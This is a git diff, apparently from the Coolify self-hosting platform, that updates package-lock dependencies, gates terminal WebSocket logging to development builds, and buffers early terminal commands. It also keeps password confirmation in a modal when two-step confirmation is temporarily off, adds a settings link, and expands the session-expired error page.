+806,9 @@ ] }, "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.57.1.tgz", - "integrity": "sha512-S51t7aMMTNdmAMPpBg7OOsTdn4tySRQvklmL3RpDRyknk87+Sp3xaumlatU+ppQ+5raY7sSTcC2beGgvhENfuw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz", + "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==", "cpu": [ "riscv64" ], @@ -820,9 +820,9 @@ ] }, "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.57.1.tgz", - "integrity": "sha512-Bl00OFnVFkL82FHbEqy3k5CUCKH6OEJL54KCyx2oqsmZnFTR8IoNqBF+mjQVcRCT5sB6yOvK8A37LNm/kPJiZg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz", + "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==", "cpu": [ "s390x" ], @@ -834,9 +834,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.57.1.tgz", - "integrity": "sha512-ABca4ceT4N+Tv/GtotnWAeXZUZuM/9AQyCyKYyKnpk4yoA7QIAuBt6Hkgpw8kActYlew2mvckXkvx0FfoInnLg==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz", + "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==", "cpu": [ "x64" ], @@ -848,9 +848,9 @@ ] }, "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.57.1.tgz", - "integrity": "sha512-HFps0JeGtuOR2convgRRkHCekD7j+gdAuXM+/i6kGzQtFhlCtQkpwtNzkNj6QhCDp7DRJ7+qC/1Vg2jt5iSOFw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz", + "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==", "cpu": [ "x64" ], @@ -862,9 +862,9 @@ ] }, "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.57.1.tgz", - "integrity": "sha512-H+hXEv9gdVQuDTgnqD+SQffoWoc0Of59AStSzTEj/feWTBAnSfSD3+Dql1ZruJQxmykT/JVY0dE8Ka7z0DH1hw==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz", + "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==", "cpu": [ "x64" ], @@ -876,9 +876,9 @@ ] }, "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.57.1.tgz", - "integrity": "sha512-4wYoDpNg6o/oPximyc/NG+mYUejZrCU2q+2w6YZqrAs2UcNUChIZXjtafAiiZSUc7On8v5NyNj34Kzj/Ltk6dQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz", + "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==", "cpu": [ "arm64" ], @@ -890,9 +890,9 @@ ] }, "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.57.1.tgz", - "integrity": "sha512-O54mtsV/6LW3P8qdTcamQmuC990HDfR71lo44oZMZlXU4tzLrbvTii87Ni9opq60ds0YzuAlEr/GNwuNluZyMQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz", + "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==", "cpu": [ "arm64" ], @@ -904,9 +904,9 @@ ] }, "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.57.1.tgz", - "integrity": "sha512-P3dLS+IerxCT/7D2q2FYcRdWRl22dNbrbBEtxdWhXrfIMPP9lQhb5h4Du04mdl5Woq05jVCDPCMF7Ub0NAjIew==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", + "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", "cpu": [ "ia32" ], @@ -918,9 +918,9 @@ ] }, "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.57.1.tgz", - "integrity": "sha512-VMBH2eOOaKGtIJYleXsi2B8CPVADrh+TyNxJ4mWPnKfLB/DBUmzW+5m1xUrcwWoMfSLagIRpjUFeW5CO5hyciQ==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", + "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", "cpu": [ "x64" ], @@ -932,9 +932,9 @@ ] }, "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.57.1.tgz", - "integrity": "sha512-mxRFDdHIWRxg3UfIIAwCm6NzvxG0jDX/wBN6KsQFTvKFqqg9vTrWUE68qEjHt19A5wwx5X5aUi2zuZT7YR0jrA==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", + "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", "cpu": [ "x64" ], @@ -950,7 +950,8 @@ "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", "dev": true, - "license": "MIT" + "license": "MIT", + "peer": true }, "node_modules/@tailwindcss/forms": { "version": "0.5.10", @@ -1187,6 +1188,66 @@ "node": ">=14.0.0" } }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/core": { + "version": "1.7.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.1.0", + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/runtime": { + "version": "1.7.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1", + "@tybys/wasm-util": "^0.10.1" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": { + "version": "0.10.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": { + "version": "2.8.1", + "dev": true, + "inBundle": true, + "license": "0BSD", + "optional": true + }, "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { "version": "4.1.18", "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.18.tgz", @@ -1403,8 +1464,7 @@ "version": "5.5.0", "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/asynckit": { "version": "0.4.0", @@ -1557,6 +1617,7 @@ "integrity": "sha512-+kjUJnZGwzewFDw951CDWcwj35vMNf2fcj7xQWOctq1F2i1jkDdVvdFG9kM/BEChymCH36KgjnW0NsL58JYRxw==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.4.1", @@ -1571,6 +1632,7 @@ "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=10.0.0" } @@ -2331,7 +2393,6 @@ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true, "license": "MIT", - "peer": true, "engines": { "node": ">=12" }, @@ -2452,7 +2513,6 @@ "integrity": "sha512-wp3HqIIUc1GRyu1XrP6m2dgyE9MoCsXVsWNlohj0rjSkLf+a0jLvEyVubdg58oMk7bhjBWnFClgp8jfAa6Ak4Q==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "tweetnacl": "^1.0.3" } @@ -2490,9 +2550,9 @@ } }, "node_modules/rollup": { - "version": "4.57.1", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.57.1.tgz", - "integrity": "sha512-oQL6lgK3e2QZeQ7gcgIkS2YZPg5slw37hYufJ3edKlfQSGGm8ICoxswK15ntSzF/a8+h7ekRy7k7oWc3BQ7y8A==", + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", + "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", "dev": true, "license": "MIT", "dependencies": { @@ -2506,31 +2566,31 @@ "npm": ">=8.0.0" }, "optionalDependencies": { - "@rollup/rollup-android-arm-eabi": "4.57.1", - "@rollup/rollup-android-arm64": "4.57.1", - "@rollup/rollup-darwin-arm64": "4.57.1", - "@rollup/rollup-darwin-x64": "4.57.1", - "@rollup/rollup-freebsd-arm64": "4.57.1", - "@rollup/rollup-freebsd-x64": "4.57.1", - "@rollup/rollup-linux-arm-gnueabihf": "4.57.1", - "@rollup/rollup-linux-arm-musleabihf": "4.57.1", - "@rollup/rollup-linux-arm64-gnu": "4.57.1", - "@rollup/rollup-linux-arm64-musl": "4.57.1", - "@rollup/rollup-linux-loong64-gnu": "4.57.1", - "@rollup/rollup-linux-loong64-musl": "4.57.1", - "@rollup/rollup-linux-ppc64-gnu": "4.57.1", - "@rollup/rollup-linux-ppc64-musl": "4.57.1", - "@rollup/rollup-linux-riscv64-gnu": "4.57.1", - "@rollup/rollup-linux-riscv64-musl": "4.57.1", - "@rollup/rollup-linux-s390x-gnu": "4.57.1", - "@rollup/rollup-linux-x64-gnu": "4.57.1", - "@rollup/rollup-linux-x64-musl": "4.57.1", - "@rollup/rollup-openbsd-x64": "4.57.1", - "@rollup/rollup-openharmony-arm64": "4.57.1", - "@rollup/rollup-win32-arm64-msvc": "4.57.1", - "@rollup/rollup-win32-ia32-msvc": "4.57.1", - "@rollup/rollup-win32-x64-gnu": "4.57.1", - "@rollup/rollup-win32-x64-msvc": "4.57.1", + "@rollup/rollup-android-arm-eabi": "4.59.0", + "@rollup/rollup-android-arm64": "4.59.0", + "@rollup/rollup-darwin-arm64": "4.59.0", + "@rollup/rollup-darwin-x64": "4.59.0", + "@rollup/rollup-freebsd-arm64": "4.59.0", + "@rollup/rollup-freebsd-x64": "4.59.0", + "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", + "@rollup/rollup-linux-arm-musleabihf": "4.59.0", + "@rollup/rollup-linux-arm64-gnu": "4.59.0", + "@rollup/rollup-linux-arm64-musl": "4.59.0", + "@rollup/rollup-linux-loong64-gnu": "4.59.0", + "@rollup/rollup-linux-loong64-musl": "4.59.0", + "@rollup/rollup-linux-ppc64-gnu": "4.59.0", + "@rollup/rollup-linux-ppc64-musl": "4.59.0", + "@rollup/rollup-linux-riscv64-gnu": "4.59.0", + "@rollup/rollup-linux-riscv64-musl": "4.59.0", + "@rollup/rollup-linux-s390x-gnu": "4.59.0", + "@rollup/rollup-linux-x64-gnu": "4.59.0", + "@rollup/rollup-linux-x64-musl": "4.59.0", + "@rollup/rollup-openbsd-x64": "4.59.0", + "@rollup/rollup-openharmony-arm64": "4.59.0", + "@rollup/rollup-win32-arm64-msvc": "4.59.0", + "@rollup/rollup-win32-ia32-msvc": "4.59.0", + "@rollup/rollup-win32-x64-gnu": "4.59.0", + "@rollup/rollup-win32-x64-msvc": "4.59.0", "fsevents": "~2.3.2" } }, @@ -2557,6 +2617,7 @@ "integrity": "sha512-bPMmpy/5WWKHea5Y/jYAP6k74A+hvmRCQaJuJB6I/ML5JZq/KfNieUVo/3Mh7SAqn7TyFdIo6wqYHInG1MU1bQ==", "dev": true, "license": "MIT", + "peer": true, "dependencies": { "@socket.io/component-emitter": "~3.1.0", "debug": "~4.4.1" @@ -2601,8 +2662,7 @@ "version": "4.1.18", "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.1.18.tgz", "integrity": "sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw==", - "license": "MIT", - "peer": true + "license": "MIT" }, "node_modules/tapable": { "version": "2.3.0", @@ -2654,7 +2714,6 @@ "integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", @@ -2754,7 +2813,6 @@ "integrity": "sha512-SJ/NTccVyAoNUJmkM9KUqPcYlY+u8OVL1X5EW9RIs3ch5H2uERxyyIUI4MRxVCSOiEcupX9xNGde1tL9ZKpimA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@vue/compiler-dom": "3.5.26", "@vue/compiler-sfc": "3.5.26", @@ -2777,6 +2835,7 @@ "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", "dev": true, "license": "MIT", + "peer": true, "engines": { "node": ">=10.0.0" }, @@ -2798,6 +2857,7 @@ "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", "dev": true, + "peer": true, "engines": { "node": ">=0.4.0" } diff --git a/public/svgs/spacebot.png b/public/svgs/spacebot.png new file mode 100644 index 000000000..8ec1da702 Binary files /dev/null and b/public/svgs/spacebot.png differ diff --git a/resources/js/terminal.js b/resources/js/terminal.js index 6707bec98..3c52edfa0 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -2,6 +2,16 @@ import { Terminal } from '@xterm/xterm'; import '@xterm/xterm/css/xterm.css'; import { FitAddon } from '@xterm/addon-fit'; +const terminalDebugEnabled = import.meta.env.DEV; + +function logTerminal(level, message, ...context) { + if (!terminalDebugEnabled) { + return; + } + + console[level](message, ...context); +} + export function initializeTerminalComponent() { function terminalData() { return { @@ -30,6 +40,8 @@ export function initializeTerminalComponent() { pingTimeoutId: null, heartbeatMissed: 0, maxHeartbeatMisses: 3, + // Command buffering for race condition prevention + pendingCommand: null, // Resize handling resizeObserver: null, resizeTimeout: null, @@ -120,6 +132,7 @@ export function initializeTerminalComponent() { this.checkIfProcessIsRunningAndKillIt(); this.clearAllTimers(); this.connectionState = 'disconnected'; + this.pendingCommand = null; if (this.socket) { this.socket.close(1000, 'Client cleanup'); } @@ -154,6 +167,7 @@ export function initializeTerminalComponent() { this.pendingWrites = 0; this.paused = false; this.commandBuffer = ''; + this.pendingCommand = null; // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); @@ -188,7 +202,7 @@ export function initializeTerminalComponent() { initializeWebSocket() { if (this.socket && this.socket.readyState !== WebSocket.CLOSED) { - console.log('[Terminal] WebSocket already connecting/connected, skipping'); + logTerminal('log', '[Terminal] WebSocket already connecting/connected, skipping'); return; // Already connecting or connected } @@ -197,7 +211,7 @@ export function initializeTerminalComponent() { // Ensure terminal config is available if (!window.terminalConfig) { - console.warn('[Terminal] Terminal config not available, using defaults'); + logTerminal('warn', '[Terminal] Terminal config not available, using defaults'); window.terminalConfig = {}; } @@ -223,7 +237,7 @@ export function initializeTerminalComponent() { } const url = `${connectionString.protocol}://${connectionString.host}${connectionString.port}${connectionString.path}` - console.log(`[Terminal] Attempting connection to: ${url}`); + logTerminal('log', `[Terminal] Attempting connection to: ${url}`); try { this.socket = new WebSocket(url); @@ -232,7 +246,7 @@ export function initializeTerminalComponent() { const timeoutMs = this.reconnectAttempts === 0 ? 15000 : this.connectionTimeout; this.connectionTimeoutId = setTimeout(() => { if (this.connectionState === 'connecting') { - console.error(`[Terminal] Connection timeout after ${timeoutMs}ms`); + logTerminal('error', `[Terminal] Connection timeout after ${timeoutMs}ms`); this.socket.close(); this.handleConnectionError('Connection timeout'); } @@ -244,13 +258,13 @@ export function initializeTerminalComponent() { this.socket.onclose = this.handleSocketClose.bind(this); } catch (error) { - console.error('[Terminal] Failed to create WebSocket:', error); + logTerminal('error', '[Terminal] Failed to create WebSocket:', error); this.handleConnectionError(`Failed to create WebSocket connection: ${error.message}`); } }, handleSocketOpen() { - console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.'); + logTerminal('log', '[Terminal] WebSocket connection established.'); this.connectionState = 'connected'; this.reconnectAttempts = 0; this.heartbeatMissed = 0; @@ -262,6 +276,12 @@ export function initializeTerminalComponent() { this.connectionTimeoutId = null; } + // Flush any buffered command from before WebSocket was ready + if (this.pendingCommand) { + this.sendMessage(this.pendingCommand); + this.pendingCommand = null; + } + // Start ping timeout monitoring this.resetPingTimeout(); @@ -270,16 +290,16 @@ export function initializeTerminalComponent() { }, handleSocketError(error) { - console.error('[Terminal] WebSocket error:', error); - console.error('[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket'); - console.error('[Terminal] Connection attempt:', this.reconnectAttempts + 1); + logTerminal('error', '[Terminal] WebSocket error:', error); + logTerminal('error', '[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket'); + logTerminal('error', '[Terminal] Connection attempt:', this.reconnectAttempts + 1); this.handleConnectionError('WebSocket error occurred'); }, handleSocketClose(event) { - console.warn(`[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`); - console.log('[Terminal] Was clean close:', event.code === 1000); - console.log('[Terminal] Connection attempt:', this.reconnectAttempts + 1); + logTerminal('warn', `[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`); + logTerminal('log', '[Terminal] Was clean close:', event.code === 1000); + logTerminal('log', '[Terminal] Connection attempt:', this.reconnectAttempts + 1); this.connectionState = 'disconnected'; this.clearAllTimers(); @@ -297,7 +317,7 @@ export function initializeTerminalComponent() { }, handleConnectionError(reason) { - console.error(`[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`); + logTerminal('error', `[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`); this.connectionState = 'disconnected'; // Only dispatch error to UI after a few failed attempts to avoid immediate error on page load @@ -310,7 +330,7 @@ export function initializeTerminalComponent() { scheduleReconnect() { if (this.reconnectAttempts >= this.maxReconnectAttempts) { - console.error('[Terminal] Max reconnection attempts reached'); + logTerminal('error', '[Terminal] Max reconnection attempts reached'); this.message = '(connection failed - max retries exceeded)'; return; } @@ -323,7 +343,7 @@ export function initializeTerminalComponent() { this.maxReconnectDelay ); - console.warn(`[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`); + logTerminal('warn', `[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`); this.reconnectInterval = setTimeout(() => { this.reconnectAttempts++; @@ -335,17 +355,21 @@ export function initializeTerminalComponent() { if (this.socket && this.socket.readyState === WebSocket.OPEN) { this.socket.send(JSON.stringify(message)); } else { - console.warn('[Terminal] WebSocket not ready, message not sent:', message); + logTerminal('warn', '[Terminal] WebSocket not ready, message not sent:', message); } }, sendCommandWhenReady(message) { if (this.isWebSocketReady()) { this.sendMessage(message); + } else { + this.pendingCommand = message; } }, handleSocketMessage(event) { + logTerminal('log', '[Terminal] Received WebSocket message:', event.data); + // Handle pong responses if (event.data === 'pong') { this.heartbeatMissed = 0; @@ -354,6 +378,10 @@ export function initializeTerminalComponent() { return; } + if (!this.term?._initialized && event.data !== 'pty-ready') { + logTerminal('warn', '[Terminal] Received message before PTY initialization:', event.data); + } + if (event.data === 'pty-ready') { if (!this.term._initialized) { this.term.open(document.getElementById('terminal')); @@ -398,17 +426,24 @@ export function initializeTerminalComponent() { // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); + } else if ( + typeof event.data === 'string' && + (event.data.startsWith('Unauthorized:') || event.data.startsWith('Invalid SSH command:')) + ) { + logTerminal('error', '[Terminal] Backend rejected terminal startup:', event.data); + this.$wire.dispatch('error', event.data); + this.terminalActive = false; } else { try { this.pendingWrites++; this.term.write(event.data, (err) => { if (err) { - console.error('[Terminal] Write error:', err); + logTerminal('error', '[Terminal] Write error:', err); } this.flowControlCallback(); }); } catch (error) { - console.error('[Terminal] Write operation failed:', error); + logTerminal('error', '[Terminal] Write operation failed:', error); this.pendingWrites = Math.max(0, this.pendingWrites - 1); } } @@ -483,10 +518,10 @@ export function initializeTerminalComponent() { clearTimeout(this.pingTimeoutId); this.pingTimeoutId = null; } - console.log('[Terminal] Tab hidden, pausing heartbeat monitoring'); + logTerminal('log', '[Terminal] Tab hidden, pausing heartbeat monitoring'); } else if (wasVisible === false) { // Tab is now visible again - console.log('[Terminal] Tab visible, resuming connection management'); + logTerminal('log', '[Terminal] Tab visible, resuming connection management'); if (this.wasConnectedBeforeHidden && this.socket && this.socket.readyState === WebSocket.OPEN) { // Send immediate ping to verify connection is still alive @@ -508,10 +543,10 @@ export function initializeTerminalComponent() { this.pingTimeoutId = setTimeout(() => { this.heartbeatMissed++; - console.warn(`[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`); + logTerminal('warn', `[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`); if (this.heartbeatMissed >= this.maxHeartbeatMisses) { - console.error('[Terminal] Too many missed heartbeats, closing connection'); + logTerminal('error', '[Terminal] Too many missed heartbeats, closing connection'); this.socket.close(1001, 'Heartbeat timeout'); } }, this.pingTimeout); @@ -553,7 +588,7 @@ export function initializeTerminalComponent() { // Check if dimensions are valid if (height <= 0 || width <= 0) { - console.warn('[Terminal] Invalid wrapper dimensions, retrying...', { height, width }); + logTerminal('warn', '[Terminal] Invalid wrapper dimensions, retrying...', { height, width }); setTimeout(() => this.resizeTerminal(), 100); return; } @@ -562,7 +597,7 @@ export function initializeTerminalComponent() { if (!charSize.height || !charSize.width) { // Fallback values if char size not available yet - console.warn('[Terminal] Character size not available, retrying...'); + logTerminal('warn', '[Terminal] Character size not available, retrying...'); setTimeout(() => this.resizeTerminal(), 100); return; } @@ -583,10 +618,10 @@ export function initializeTerminalComponent() { }); } } else { - console.warn('[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize }); + logTerminal('warn', '[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize }); } } catch (error) { - console.error('[Terminal] Resize error:', error); + logTerminal('error', '[Terminal] Resize error:', error); } }, diff --git a/resources/views/components/forms/input.blade.php b/resources/views/components/forms/input.blade.php index a329664a2..cf72dfbe9 100644 --- a/resources/views/components/forms/input.blade.php +++ b/resources/views/components/forms/input.blade.php @@ -25,7 +25,7 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov {{-- Eye-off icon (shown when password is visible) --}} - diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php index 73939092e..615512b94 100644 --- a/resources/views/components/modal-confirmation.blade.php +++ b/resources/views/components/modal-confirmation.blade.php @@ -35,7 +35,7 @@ $skipPasswordConfirmation = shouldSkipPasswordConfirmation(); if ($temporaryDisableTwoStepConfirmation) { $disableTwoStepConfirmation = false; - $skipPasswordConfirmation = false; + // Password confirmation requirement is not affected by temporary two-step disable } // When password step is skipped, Step 2 becomes final - change button text from "Continue" to "Confirm" $effectiveStep2ButtonText = ($skipPasswordConfirmation && $step2ButtonText === 'Continue') ? 'Confirm' : $step2ButtonText; @@ -59,6 +59,7 @@ confirmWithPassword: @js($confirmWithPassword && !$skipPasswordConfirmation), submitAction: @js($submitAction), dispatchAction: @js($dispatchAction), + submitting: false, passwordError: '', selectedActions: @js(collect($checkboxes)->pluck('id')->filter(fn($id) => $this->$id)->values()->all()), dispatchEvent: @js($dispatchEvent), @@ -70,6 +71,7 @@ this.step = this.initialStep; this.deleteText = ''; this.password = ''; + this.submitting = false; this.userConfirmationText = ''; this.selectedActions = @js(collect($checkboxes)->pluck('id')->filter(fn($id) => $this->$id)->values()->all()); $wire.$refresh(); @@ -92,7 +94,7 @@ } if (this.dispatchAction) { $wire.dispatch(this.submitAction); - return true; + return Promise.resolve(true); } const methodName = this.submitAction.split('(')[0]; @@ -320,8 +322,8 @@ class="w-24 dark:bg-coolgray-200 dark:hover:bg-coolgray-300"> @endif { + submitting = false; + modalOpen = false; + resetModal(); + }).catch(() => { + submitting = false; + }); } "> - + + @@ -373,22 +381,27 @@ class="block text-sm font-medium text-gray-700 dark:text-gray-300"> class="w-24 dark:bg-coolgray-200 dark:hover:bg-coolgray-300"> Back - - + + diff --git a/resources/views/components/settings/navbar.blade.php b/resources/views/components/settings/navbar.blade.php index 10df20e03..565e485d0 100644 --- a/resources/views/components/settings/navbar.blade.php +++ b/resources/views/components/settings/navbar.blade.php @@ -19,6 +19,10 @@ href="{{ route('settings.oauth') }}"> OAuth + + Scheduled Jobs +
diff --git a/resources/views/errors/419.blade.php b/resources/views/errors/419.blade.php index e7cd3fc45..70b5d7a92 100644 --- a/resources/views/errors/419.blade.php +++ b/resources/views/errors/419.blade.php @@ -3,15 +3,19 @@

419

This page is definitely old, not like you!

-

Sorry, we couldn't find the page you're looking - for. +

Your session has expired. Please log in again to continue.

-
- - Go back - - - Dashboard +
+ Using a reverse proxy or Cloudflare Tunnel? +
    +
  • Set your domain in Settings → FQDN to match the URL you use to access Coolify.
  • +
  • Cloudflare users: disable Browser Integrity Check and Under Attack Mode for your Coolify domain, as these can interrupt login sessions.
  • +
  • If you can still access Coolify via localhost, log in there first to configure your FQDN.
  • +
+
+
